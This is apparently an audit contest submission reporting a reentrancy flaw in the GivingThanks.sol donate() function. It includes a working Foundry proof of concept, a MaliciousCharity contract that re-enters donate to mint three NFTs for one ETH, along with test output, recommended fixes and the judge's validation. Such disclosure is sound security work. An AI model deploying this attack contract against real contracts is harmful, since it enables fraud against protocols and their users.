GivingThanks
First Flight #28
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

Reentrancy in NFT Minting allows Multiple NFTs for Single Donation in GivingThanks.sol

nomadic_bear

Summary

A high severity vulnerability was identified in the GivingThanks.sol contract where the donate() function is vulnerable to reentrancy attacks. This allows malicious actors to mint multiple NFTs with a single donation amount, breaking the core accounting system of the donation platform.

Vulnerability Details

The vulnerability exists in the following code section:

function donate(address charity) public payable {
require(registry.isVerified(charity), "Charity not verified");
(bool sent,) = charity.call{value: msg.value}("");
require(sent, "Failed to send Ether");
// State changes after external call
_mint(msg.sender, tokenCounter);
string memory uri = _createTokenURI(msg.sender, block.timestamp, msg.value);
_setTokenURI(tokenCounter, uri);
tokenCounter += 1;
}

The issue stems from:

  1. State changes occurring after the external call to the charity

  2. Missing reentrancy protection

  3. No application of the checks-effects-interactions pattern

A malicious charity contract can exploit this by:

  1. Receiving the initial donation call

  2. Using its receive/fallback function to re-enter the donate function

  3. Repeating this process multiple times with the same ETH

  4. Getting multiple NFTs minted for a single donation amount

Impact

Through the successful proof of concept, we demonstrated that:

  1. A single 1 ETH donation can mint 3 NFTs (original + 2 reentrant calls)

  2. The cost per NFT is reduced to 0.33 ETH instead of 1 ETH

  3. Multiple donation receipts are created for the same donation

  4. The integrity of the donation tracking system is compromised

Proof of Concept

The following test demonstrates the vulnerability:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
​
import "forge-std/Test.sol";
import "forge-std/console.sol";
import "../src/GivingThanks.sol";
import "../src/CharityRegistry.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/Base64.sol";
​
contract MaliciousCharity {
GivingThanks private immutable givingThanks;
uint256 public attackCount;
uint256 public constant ATTACK_ROUNDS = 2;
address public owner;
​
constructor(address _givingThanks) {
givingThanks = GivingThanks(_givingThanks);
owner = msg.sender;
}
​
receive() external payable {
if (attackCount < ATTACK_ROUNDS) {
attackCount++;
// Forward the same ETH back in a reentrant call
givingThanks.donate{value: msg.value}(address(this));
}
}
​
function withdrawEth() external {
require(msg.sender == owner, "Not owner");
(bool success, ) = payable(owner).call{value: address(this).balance}("");
require(success, "Transfer failed");
}
​
function getAttackRounds() public pure returns (uint256) {
return ATTACK_ROUNDS;
}
}
​
contract GivingThanksTest is Test {
GivingThanks public charityContract;
CharityRegistry public registryContract;
MaliciousCharity public maliciousCharity;
address public admin;
address public donor;
uint256 public constant DONATION_AMOUNT = 1 ether;
​
receive() external payable {}
​
function setUp() public {
admin = makeAddr("admin");
donor = makeAddr("donor");
​
vm.startPrank(admin);
registryContract = new CharityRegistry();
charityContract = new GivingThanks(address(registryContract));
vm.stopPrank();
​
vm.startPrank(donor);
maliciousCharity = new MaliciousCharity(address(charityContract));
vm.stopPrank();
​
vm.startPrank(admin);
registryContract.registerCharity(address(maliciousCharity));
registryContract.verifyCharity(address(maliciousCharity));
charityContract.updateRegistry(address(registryContract));
vm.stopPrank();
}
​
function testReentrancyNFTExploit() public {
// Fund the donor
vm.deal(donor, DONATION_AMOUNT);
uint256 initialTokenCounter = charityContract.tokenCounter();
console.log("Initial token counter:", initialTokenCounter);
console.log("Initial donor ETH:", DONATION_AMOUNT);
// Perform the attack
vm.startPrank(donor);
charityContract.donate{value: DONATION_AMOUNT}(address(maliciousCharity));
vm.stopPrank();
uint256 finalTokenCounter = charityContract.tokenCounter();
console.log("Final token counter:", finalTokenCounter);
console.log("Total NFTs minted:", finalTokenCounter - initialTokenCounter);
console.log("ETH spent per NFT:", DONATION_AMOUNT / (finalTokenCounter - initialTokenCounter));
// Verify exploit results
assertEq(
finalTokenCounter,
initialTokenCounter + maliciousCharity.getAttackRounds() + 1,
"Multiple NFTs should be minted with single ETH payment"
);
​
// Verify all NFTs were minted to the donor or malicious contract
for (uint256 i = 0; i < maliciousCharity.getAttackRounds() + 1; i++) {
address owner = charityContract.ownerOf(initialTokenCounter + i);
assertTrue(
owner == donor || owner == address(maliciousCharity),
"NFT should be owned by donor or malicious contract"
);
}
​
// Verify we used the same ETH multiple times
assertEq(
finalTokenCounter - initialTokenCounter,
maliciousCharity.getAttackRounds() + 1,
"Should mint multiple NFTs for single ETH payment"
);
}
}
Ran 1 test for test/GivingThanksReentrancy.t.sol:GivingThanksTest
[PASS] testReentrancyNFTExploit() (gas: 727715)
Logs:
Initial token counter: 0
Initial donor ETH: 1000000000000000000
Final token counter: 3
Total NFTs minted: 3
ETH spent per NFT: 333333333333333333
​
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.22ms (480.66µs CPU time)
​
Ran 1 test suite in 5.47ms (1.22ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

slither .

Manual review

Foundry test framework

Recommendations

Implement the checks-effects-interactions pattern:

function donate(address charity) public payable {
require(registry.isVerified(charity), "Charity not verified");
// Effects before interactions
uint256 currentTokenId = tokenCounter++;
_mint(msg.sender, currentTokenId);
string memory uri = _createTokenURI(msg.sender, block.timestamp, msg.value);
_setTokenURI(currentTokenId, uri);
// Interactions last
(bool sent,) = charity.call{value: msg.value}("");
require(sent, "Failed to send Ether");
}

Add OpenZeppelin's ReentrancyGuard:

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
​
contract GivingThanks is ReentrancyGuard {
function donate(address charity) public payable nonReentrant {
...
}
}
Updates

Lead Judging Commences

n0kto Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-donate-reentrancy-multiple-NFT-minted

Impact: High, one charity can reenter the donate function with the same ETH provided and mint several NFT. Likelyhood: Low, any malicious charity can do it but Admin is trusted and should verify the charity contract before "verifying" it.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.